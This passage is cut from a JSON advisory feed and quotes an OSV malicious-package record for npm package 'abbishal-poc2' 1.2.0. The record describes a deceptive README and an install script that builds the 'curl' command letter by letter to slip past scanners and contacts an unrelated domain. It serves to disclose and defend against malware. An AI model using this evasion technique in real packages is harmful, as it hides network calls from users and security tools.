The README claims the package has no install scripts and no network activity, directly contradicting the shipped behavior. The command-name obfuscation via per-letter variable assembly is a technique to evade static scanners searching for `curl` in lifecycle scripts, and the destination domain does not match the package's claimed publisher.\n","state":0,"publishedAt":"2026-10-08T03:40:58+00:00","modifiedAt":"2026-10-08T04:00:04.8934699+00:00","affected":[{"ecosystem":"npm","name":"abbishal-poc2","ranges":[],"versions":["1.2.0"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/abbishal-poc2/v/1.2.0"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-17654","license":"OSV · upstream source license applies","key":"osv:MAL-2026-17654","identifiers":["MAL-2026-17654"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors.
